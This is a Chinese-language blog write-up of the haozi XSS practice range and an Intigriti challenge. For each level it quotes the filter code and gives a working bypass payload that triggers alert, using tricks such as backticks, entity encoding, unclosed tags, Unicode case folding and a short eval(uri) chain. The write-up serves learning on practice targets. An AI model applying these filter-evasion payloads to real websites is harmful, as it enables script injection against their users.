1909 字
10 分钟
XSS 靶场通关笔记

haozi 靶场#

靶场网址:xss.haozi.me

0x00#

源码

function render (input) {
return '<div>' + input + '</div>'
}

没有任何限制,直接传入 script 块就行了

<script>alert(1)</script>

0x01#

源码

function render (input) {
return '<textarea>' + input + '</textarea>'
}

<textarea> 标签会把里面的内容当作纯文本,闭合一下前面的标签就行了

</textarea><script>alert(1)</script>

0x02#

源码

function render (input) {
return '<input type="name" value="' + input + '">'
}

输入内容被放在了 input 标签的 value 属性中,闭合 value 属性的引号和 input 标签的尖括号,回到 HTML 的环境中,再使用 <script> 标签就可以了。后面的内容用注释符注释掉就好了

"><script>alert(1)</script><!--

0x03#

源码

function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

限制了小括号,用反引号绕过

<script>alert`1`</script><!--

0x04#

源码

function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

限制了小括号和反引号,用实体编码绕过。实体编码可以在 img、bady 等标签的 onerror 属性、onload 属性中使用,因此这里选择使用 img 标签

<img src="x" onerror="alert&#40;1&#41;"/>

0x05#

function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

过滤了单行注释的后面那个注释符,用多行注释的注释符闭合就行了

--!><script>alert(1)</script>

0x06#

function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

过滤了 auto 和右尖括号,不能选择闭合 input 标签了;还有一个比较有趣的匹配规则:on.*=/ig 会匹配 on 字符后面除了换行符以外的任何字符后的等号,因为不包含换行符,因此可以将 on 字符和等号写在两行,从而不会被正则规则匹配到。另外,当 input 标签的 type 属性为 image 时,会具有 img 标签的特性,因此可以利用这一点在 type 标签中触发 js 代码

type="image" src="x" onerror
="alert(1)"

0x07#

function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

过滤了 <任意大于 0 个的除了右尖括号以外的字符></任意大于 0 个的除了右尖括号以外的字符> 这样的结构,基本上是把 HTML 标签过滤完了。但是由于浏览器的兼容性,因此右尖括号不闭合的 html 标签同样也能使用

<img src="x" onerror="alert(1)"

0x08#

function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

严格过滤了 <style> 标签,但是 HTML 标签在文字与右尖括号之间的空格不会影响解析,因此使用空格绕过

</style ><script>alert(1)</script>

0x09#

function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

限制了传入的数据中必须要以 http://www.segmentfault.comhttps://www.segmentfault.com 开头。这个网址本身就打不开,传入

http://www.segmentfault.com" onerror="alert(1)

就能过。但是就算这个网址是正常的,也可以使用双写,让最终的网址不正常

https://www.segmentfault.comhttps://www.segmentfault.com" onerror="alert(1)

0x0A#

function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

将所有的特殊符号都变成了实体,并且仍然要求以 http://www.segmentfault.comhttps://www.segmentfault.com 开头,也就是只能利用这个站点中的东西。实在没啥想法了,于是去看了 wp,发现 https://www.segmentfault.com.haozi.me/j.js 刚好是内容为 alert(1) 的 js 文件,因此直接使用这个就行了

https://www.segmentfault.com.haozi.me/j.js

0x0B#

function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

将所有的内容都变成了大写。HTML 标签是大小写不敏感的,但是 js 是大小写敏感的,因此要想办法用另一种方式表示 js。我选择的是实体编码

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"/>

0x0C#

function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

和上一关相比就多过滤了一个 script 的文字。但是上一关我没有使用 <script> 标签,因此和上一关一样过

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"/>

0x0D#

function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

过滤了左尖括号、斜杠、引号,并且 alert 语句放在了 js 的单行注释中,换行就能跳出注释。对于后面遗留的 ') 部分,我们选择 js 中比较古老的单行注释符 -->。但是其必须位于一行的开头才能正常注释内容,因此需要再次换行

a
alert(1);
-->

0x0E#

function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

将左尖括号后面连接的任意大小写字符变为 <_大小写字符 的结构。如果单纯只有这样的过滤,绕过会很困难;但是后面还有对所有字符进行大写的操作,而有一些字符不属于 ASCII 的范围,却在大写后变成标准的 ASCII 大写字符

<ımg src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"/>

0x0F#

function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

依旧是将大部分的特殊字符都变为实体,但是注入的位置在 img 标签的 onerror 属性中,因此实体也会被正常解析

');alert(1);//

0x10#

function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

已经写了 <script> 的标签,js 语法中已经先尝试获取了一个值,因此先进行赋值,后面就可以执行想要的 js 语句

1;
alert(1);

0x11#

function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

会对特殊字符进行转义,但是注入的位置在 js 的字符串中,因此转义过的字符也会被正常解析

");alert(1)//

0x12#

function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

会将双引号转义,但是不会对转义符转义,因此我们可以转义转义符

\");alert(1)//

XSS Challenge#

靶场:https://challenge-0222.intigriti.io/

限制了长度必须小于等于 24 个字符,这个比较麻烦……题目要求我们执行 alert(document.domain),这样就有 22 的长度了,所以想要直接执行是不可能的。那就先观察
先传入一个 1 试试: 1768393176408

可以发现除了我们传入的内容作为 q 参数的内容之外,还存在一个 first 参数。网站源码中还写明了 js 脚本

window.name = 'XSS(eXtreme Short Scripting) Game'
function showModal(title, content) {
var titleDOM = document.querySelector('#main-modal h3')
var contentDOM = document.querySelector('#main-modal p')
titleDOM.innerHTML = title
contentDOM.innerHTML = content
window['main-modal'].classList.remove('hide')
}
window['main-form'].onsubmit = function(e) {
e.preventDefault()
var inputName = window['name-field'].value
var isFirst = document.querySelector('input[type=radio]:checked').value
if (!inputName.length) {
showModal('Error!', "It's empty")
return
}
if (inputName.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
return
}
window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst
}
if (location.href.includes('q=')) {
var uri = decodeURIComponent(location.href)
var qs = uri.split('&first=')[0].split('?q=')[1]
if (qs.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
} else {
showModal('Welcome back!', qs)
}
}

其中对做这道题有帮助的部分是

if (location.href.includes('q=')) {
// 将 url 进行解码后赋值给 uri
var uri = decodeURIComponent(location.href)
// 截取出 q 参数的值
var qs = uri.split('&first=')[0].split('?q=')[1]
// 对值进行判定,条件成立时返回 qs 中的内容
if (qs.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
} else {
showModal('Welcome back!', qs)
}
}

由此可知,在执行返回内容之前,网站就已经做了很多事情了;其中最有利用价值的,就是对 uri 进行了赋值并且没有任何的过滤。因此,我们可以在 first 参数中使用 \r\n 来新开一行,在使用 eval() 函数时能够执行新的一行的内容。因此,我们可以将原来的 alert(document.domain) 压缩至 eval(uri),少了 13 个字符的空间
接下来,就是如何在 15 的字符的空间内,执行 js 语句。如果使用 <script></script>,会有 17 个字符,多了一点点;使用 <svg onload=>,有 13 个字符,比要求还少了两个字符
因此,最后传入

?q=%3csvg%20onload%3deval(uri)%3e&first=yes%0aalert(document.domain)

成功通关

XSS 靶场通关笔记
https://fuwari.vercel.app/posts/xsschallenge/
作者
LightFeather
发布于
2026-01-14
许可协议
CC BY-NC-SA 4.0